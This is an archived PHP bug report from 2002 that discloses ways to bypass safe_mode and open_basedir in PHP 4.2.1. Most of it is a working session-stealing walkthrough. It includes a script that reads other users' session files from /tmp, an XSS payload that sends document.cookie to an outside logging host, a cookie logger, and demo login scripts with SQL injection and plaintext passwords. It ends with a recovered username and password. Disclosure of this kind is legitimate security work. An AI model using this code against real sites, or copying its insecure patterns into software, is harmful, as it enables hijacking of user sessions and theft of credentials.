Bug #17790: stealing sessions, breaks safe_mode and open_basedir

From: Date: Sun, 16 Jun 2002 20:24:37 +0000
Subject: Bug #17790: stealing sessions, breaks safe_mode and open_basedir
Groups: php.bugs 
Request: Send a blank email to php-bugs+get-10794@lists.php.net to get a copy of this message
From: tozz@kijkt.tv Operating system: Linux PHP version: 4.2.1 PHP Bug Type: Session related Bug description: stealing sessions, breaks safe_mode and open_basedir Stealing PHP sessions + Break PHP safe_mode + Break PHP open_basedir This file includes 2 new PHP bugs + a guide on how to use cross scripting to steal sessions + passwords PHP bugs: 1) Break safe_mode restriction using move_uploaded_file. 2) Break open_basedir restriction using the PHP link function This script will upload a file to the dir /css/ op my website http://www.net-force.nl/css/ Because the move_upload_file changes the users from my own name-> bastijs ID 566 to apache ID 48 I will be able to break the safe_mode restriction and read files from the /tmp/ directory with my steel.php script. ( Chmod 777 /css/ ) upload.php ++++++++++++++ <? $file = $HTTP_POST_FILES['file']['name']; $type = $HTTP_POST_FILES['file']['type']; $size = $HTTP_POST_FILES['file']['size']; $temp = $HTTP_POST_FILES['file']['tmp_name']; $size_limit = "100000"; // set size limit in bytes if ($file){ if ($size < $size_limit){ move_uploaded_file($temp,"/domains/net-force.nl/public_html/www/css/" .$file); echo "File <tt>$file</tt> uploaded!"; } else { echo "Sorry, your file exceeds the size limit of $size_limit bytes"; }} echo " <form enctype='multipart/form-data' action=$PHP_SELF method=post> Upload a file: <input name='file' type='file'> <input type='submit' value='Upload'> </form> "; ?> ++++++++++++++ This script will steal a session from the tmp dir and place a file named $sessie.txt in your own temp dir, I used -> http://www.net-force.nl/css/tmp/ so I will get a file called http://www.net-force.nl/css/tmp/88618d3d4af0bb8bd5135472c02e8ecc.txt If my session ID was: 88618d3d4af0bb8bd5135472c02e8ecc I used the link function to break the open_basedir restriction so I was able to view the file. steel.php ++++++++++++++ <? if(IsSet($submit) && $submit == "steel"){ link("/tmp/sess_" . $sessie, "tmp/$sessie.txt"); $file = file("tmp/$sessie.txt"); echo $file[0]; }else{ echo " <form method=\"post\" action=\"$PHP_SELF\"> Sessie:<br> <input type=\"text\" name=\"sessie\"><br> <input type=\"submit\" name=\"submit\" value=\"steel\"> </form> "; } ?> ++++++++++++++ Now I`m gonna test the exploit and steel a session ID using the cross-scripting exploit. First I will create a table called css in MYSQL, edit the scripts for your own server. CREATE TABLE css ( id int(10) NOT NULL auto_increment, naam varchar(40) NOT NULL default '', password varchar(40) NOT NULL default '', PRIMARY KEY (id) ) TYPE=MyISAM; Now I will install an login + register script which will use sessions for auth. register.php ++++++++++++++ <? include('functions.php'); session_start(); if(IsSet($submit) && $submit == "register"){ $Query = mysql_query("SELECT * FROM css WHERE naam='$naam'", $db) or die("Error!"); $info = mysql_fetch_array($Query); if($info['id'] != ""){ die("error!"); }else{ mysql_query("INSERT INTO css (id, naam, password) VALUES (NULL, '$naam', '$password')", $db) or die("Error!"); $UserData = $info; session_register('UserData'); echo("Welcome!"); } }else{ echo "<h1>Register</h1> <form method=\"post\" action=\"$PHP_SELF\"> Name:<br> <input type=\"text\" name=\"naam\"><br> Password:<br> <input type=\"password\" name=\"password\"><br><br> <input type=\"submit\" name=\"submit\" value=\"register\"> </form></td></tr> "; } ?> ++++++++++++++ login.php ++++++++++++++ <? session_start(); include('functions.php'); $check = ""; if(IsSet($UserData)){ $sql = mysql_query("SELECT * FROM css WHERE naam='$UserData[naam]'", $db) or die("Error!"); $user = mysql_fetch_array($sql); if($user['password'] == $UserData['password']){ $check = "1"; }else{ $check = "0"; } } if(IsSet($submit) && $submit == "login"){ $Query = mysql_query("SELECT * FROM css WHERE naam='$naam'", $db) or die("Error!"); $info = mysql_fetch_array($Query); if($info['id'] == ""){ die("error!"); }elseif($info['password'] != $password){ die("wrong password!"); }else{ $UserData = $info; session_register(UserData); header("location: $PHP_SELF?login"); } }elseif(IsSet($action) && $action == "logout"){ session_destroy(); header("location: $PHP_SELF?view"); }elseif($check == "1"){ echo("Logged in! <a href=\"$PHP_SELF?action=logout\">logout</a>"); }else{ echo "<h1>Login</h1> <form method=\"post\" action=\"$PHP_SELF\"> Name:<br> <input type=\"text\" name=\"naam\"><br> Password:<br> <input type=\"password\" name=\"password\"><br><br> <input type=\"submit\" name=\"submit\" value=\"login\"> </form></td></tr> "; } ?> ++++++++++++++ functions.php ++++++++++++++ <? $dbserver = "localhost"; $dbuser = "root"; $dbpass = ""; $dbname = ""; if(!$db = @mysql_connect("$dbserver", "$dbuser", "$dbpass")) die($error_mysql); if(!@mysql_select_db("$dbname", $db)) die($error_mysql); ?> ++++++++++++++ Ok my test auth script works fine so now I`m gonna create a "cross-scripting bugged" script If you are able to find a cross-scripting bugged site on the same host you will be able to steal their session id using the css bug like this -> make a user from the bugged site open the css bugged script like this http://wwww.site.com/script.php?id="><script>document.location='http://www.net-force.nl/css/log.php?' +document.cookie</script> Check some cross-scripting tutorials if you don`t get it :) But I created my own bugged script to simulate the css bug and steal my own cookie. bugged.php ++++++++++++++ <html> <script>document.location='http://www.net-force.nl/css/log.php?' +document.cookie</script> </html> ++++++++++++++ Now I`m gonna install the session ID log script. You will have to create a file called session.txt and chmod it 777. log.php ++++++++++++++ <? $fd = fopen("session.txt", "a+") or die("can`t open file!"); $fout = fwrite($fd, "$QUERY_STRING\n"); fclose($fd); ?> ++++++++++++++ Ok that`s all.... register a new user and login. Now run the bugged.php and you will be redirected to the log script. This script will log your cookie + session ID to the session.txt file. Check the session.txt you will find something like this: PHPSESSID=c0b66dd6df22091b72da1763a233dc85 now copy and past c0b66dd6df22091b72da1763a233dc85 into your steal.php, run it and you will get the username + password like this: UserData|a:6:{i:0;s:1:"1";s:2:"id";s:1:"1";i:1;s:3:"Bas";s:4:"naam";s:3:"Bas";i:2;s:3:"aap";s:8:"password";s:3:"aap";} username: Bas password: aap try to login and it works....you stole the user`s password! Test a full working version of the session steal script on http://www.net-force.nl/css/ cya, BasTijs bastijs@net-force.nl http://www.net-force.nl -- Edit bug report at http://bugs.php.net/?id=17790&edit=1 -- Fixed in CVS: http://bugs.php.net/fix.php?id=17790&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=17790&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=17790&r=needtrace Try newer version: http://bugs.php.net/fix.php?id=17790&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=17790&r=support Expected behavior: http://bugs.php.net/fix.php?id=17790&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=17790&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=17790&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=17790&r=globals

« previous php.bugs (#10794) next »